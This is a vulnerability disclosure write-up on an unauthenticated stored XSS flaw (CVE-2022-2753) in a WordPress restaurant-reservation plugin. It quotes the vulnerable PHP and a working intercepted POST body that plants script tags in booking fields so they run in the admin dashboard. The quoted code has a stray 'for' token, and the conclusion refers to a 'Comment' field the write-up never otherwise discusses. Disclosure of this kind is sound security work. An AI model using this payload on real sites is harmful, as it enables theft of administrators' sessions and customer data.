Technical write-up on CVE-2022-2753

I was scrolling through the extensive list of WordPress plugins while being hungry, and there it was. My previous snack didn’t still my security research hunger, so here I was - one year later - looking at my next snack: the Ketchup Restaurant Reservations plugin. I hoped this time around it would really still security research hunger, but who knows? In the following write-up, I’ll explain a vulnerability that I found in the Ketchup Restaurant Reservations WordPress plugin CVE-2022-2753. This vulnerability allows an unauthenticated attacker to store malicious JavaScript code into the WP admin dashboard where restaurant bookings of the plugin are listed.

Ketchup Restaurant Reservations is a WordPress plugin that provides a restaurant reservation system, where users can make and edit reservations. The admin of the website where the plugin is installed can look at overviews of reservations made. Ketchup Restaurant Reservations version 1.0.0 and earlier contains an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability.

How the vulnerability works

Let’s have a bite of this snack! How does this vulnerability work? The plugin provides users the functionality to book a reservation for the restaurant. A user just has to visit the reservation page; it looks like this.

The reservation form contains client-side filtering, blocking user input that contains special characters. However, this can be circumvented by filling in the form as expected by the code and submitting it but intercepting the request. Next, we modify the user input and send the POST request to the website.

When the data is received by the website, the POST request is processed and inserted into the database. As can be seen in the code below. The code shows data is not sanitized or validated before being inserted. This means the strings we submit through the form for the variables NAME, EMAIL, and PHONE_NUMBER will be saved to the database without changes.

public function create(array $booking) {
        global $wpdb;
        
        $pagehelper = new PageHelper;                
        
        //Require Values
        $prepare_table_time = '00:10';
        $key = md5(microtime() . rand());

        //set duration
        array_push($booking, "ADDTIME( SUBTIME('" . $booking[3] . "','" . $booking[2] . "'), '$prepare_table_time')");

        //set key
        array_push($booking, $key);

        $query = $this->prepare("INSERT INTO $wpdb->ketchup_rr_bookings (RESTAURANT_ID, TABLE_ID, START_TIME, END_TIME, DATE, NAME, EMAIL, PERSON_NUM, PHONE_NUMBER, STATUS, DURATION, ACCESS_KEY) VALUES('%d','%d','%s','%s','%s','%s','%s','%d','%s','%s',%s, '%s');", array_values($booking));
        
        return $wpdb->query($query);
}

Let’s see how we can exploit this vulnerability. We submit a reservation and intercept the request. We modify the body of the request to the following code, inserting malicious JavaScript code in the Fullname, Email, and Phone Number fields.

action=kechup_rr_bookings_interact&validation_key=680bed9c59&operation=create&data=["5","11","11:11","13:11:00","2022-08-07","<script>alert(\"Stored XSS full name\")</script>","<script>alert(\"Stored XSS mail\")</script>","2","<script>alert(\"Stored XSS phone number\")</script>","pending"]

This payload, when executed, will create an alert in the browser containing the text ‘Stored XSS full name’. However, between the script tags, you can put any JavaScript code here.

So, our JavaScript payload is saved to the database. The next question is, how is the payload loaded into the webpage?

When the bookings page is loaded from the WP admin dashboard. The PHP code gets all bookings from the database by calling the getEverything(). Below you can see how the variables are set with the data we submitted.

$bookings = new Ketchup\Booking;
$results = $bookings->getEverything();
$output = '';

foreach ($results as $current) {
        $restaurant = get_post($current->RESTAURANT_ID);
        $buttons = array( 
                'confirmed' => 'icon-check',
                for 'rejected' => 'icon-ban',
                'pending' => 'icon-clock',
                'canceled' => 'icon-circle-with-minus'
                );

        $output .= '<tr class="booking" id="booking-'.$current->ID.'">';
        $output .= ' <td class="name">' . $current->NAME . '</td>';
        $output .= ' <td class="restaurant-name" data-id="'.$current->RESTAURANT_ID.'">' . $restaurant->post_title . '</td>';
        $output .= ' <td class="persons-number">' . $current->PERSON_NUM . '</td>';
        $output .= ' <td class="start-time">' . $current->START_TIME . '</td>';
        $output .= ' <td class="end-time">' . $current->END_TIME . '</td>';
        $output .= ' <td class="date">' . $current->DATE . '</td>';
        $output .= ' <td class="email">' . $current->EMAIL . '</td>';
        $output .= ' <td class="phone-number">' . $current->PHONE_NUMBER . '</td>';
        $output .= ' <td class="table-id">' . $current->TABLE_ID . '</td>';
        $output .= ' <td class="status" data-current-status="' . $current->STATUS . '">';
}

Below you can see how the user input from our malicious booking is parsed to the HTML and loaded into the bookings page.

foreach ($results as $current) {
        <...>
        $output .= ' <td class="name"><script>alert(\"Stored XSS full name\")</script></td>';
        <...>
        $output .= ' <td class="email"><script>alert(\"Stored XSS mail\")</script></td>';
        $output .= ' <td class="phone-number"><script>alert(\"Stored XSS phone number\")</script></td>';
        <...>
}

When the bookings page is loaded from the WP admin dashboard the JavaScript payload is executed.

Impact

The unauthenticated stored XSS vulnerability in Ketchup Restaurant Reservations version 1.0.0 poses a risk for website owners who use this plugin. A malicious attacker can make a reservation that includes malicious JavaScript code. When the website owner visits the bookings page, the JavaScript payload executes.

This makes it possible for malicious attackers to for example steal information about customers that made reservations, steal cookies, or other sensitive data.

Proof of Concept

Conclusion

Ketchup Restaurant Reservations 1.0.0 and earlier versions contain an unauthenticated stored XSS vulnerability. This makes it possible to store malicious JavaScript code on the bookings webpage where reservations are listed.

The vulnerability exists because the reservation form does not sanitize and validate user input server side, therefore malicious code can be saved to the database. In addition, the ‘Comment’ field string that is saved in the database is loaded into the webpage without special characters (such as <, >, &, “, and ‘) being converted to HTML entities, which leads to the code being loaded into the webpage. Therefore, the code will be loaded and executed into the webpage where made reservations are listed.

Timeline

07 August, 2022: WPScan – Vulnerability submitted
10 August, 2022: WPScan – Vendor contacted
29 August, 2022: WPScan – Escalated to WordPress
30 August, 2022: WPScan – Waiting for patch
07 September, 2022: WPScan – No known fix, plugin is closed
07 September, 2022: Disclosure on WPScan and CVE-2022-2753 assigned
20 September, 2022: Proof of Concept disclosure

References

https://wpscan.com/vulnerability/3c6cc46e-e18a-4f34-ac09-f30ca74a1182
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2753
https://wordpress.org/plugins/ketchup-restaurant-reservations/